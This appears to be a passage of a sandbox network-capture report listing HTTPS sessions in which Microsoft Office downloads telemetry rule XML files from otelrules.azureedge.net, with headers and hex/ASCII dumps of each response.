2024-10-30 03:34:28 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:28 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: af2b1dc9-001e-0066-0d6c-27561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033428Z-16849878b786jv8w2kpaf5zkqs00000006ag00000000drwg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:28 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:28 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:28 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:28 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 79ba3cde-d01e-002b-6b10-2925fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033428Z-r197bdfb6b4skzzvqpzzd3xetg00000006vg00000000b5h9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:28 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	50916	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:28 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:28 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:28 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 1a5bc8d7-701e-0021-2e6b-2a3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033428Z-15b8d89586f6nn8zqg1h5suba800000002tg0000000020py x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:28 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	50917	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:29 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:29 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 080ba15e-001e-0082-732b-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033429Z-15b8d89586fpccrmgpemqdqe5800000002bg0000000070e5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:29 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	50918	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:29 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:29 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:29 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 16f4e3a8-701e-0053-1d57-273a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033429Z-r197bdfb6b4grkz4xgvkar0zcs000000072g00000000f1y1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:29 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	50919	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:29 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:29 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:29 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 6768b437-a01e-00ab-174d-279106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033429Z-16849878b78g2m84h2v9sta29000000006b000000000gc2v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:29 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	50920	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:29 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:29 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:29 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 41937e91-c01e-008e-5d57-277381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033429Z-16849878b786fl7gm2qg4r5y7000000007sg000000009865 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:29 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	50921	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:29 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:30 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:30 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 20ac8722-c01e-00ad-30e6-27a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033430Z-r197bdfb6b48pcqqxhenwd2uz8000000087g00000000gxb0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:30 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	50922	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:30 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:30 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:30 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: f473ee8a-401e-00ac-6cf0-260a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033430Z-15b8d89586fbmg6qpd9yf8zhm000000002ag00000000cgg1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:30 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	50923	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:30 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:30 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:30 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 5925f4c0-501e-00a3-7895-29c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033430Z-17c5cb586f626sn8grcgm1gf8000000005x000000000c2mc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:30 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	50924	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:30 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:30 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:30 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 0243abe0-001e-0028-29fb-25c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033430Z-16849878b785dznd7xpawq9gcn00000008u000000000gk8z x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:30 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	50928	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 03:34:30 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 03:34:31 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 03:34:30 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: cd04a713-f01e-003f-7315-26d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T033430Z-16849878b787wpl5wqkt5731b4000000089g000000004ua1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 03:34:31 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" 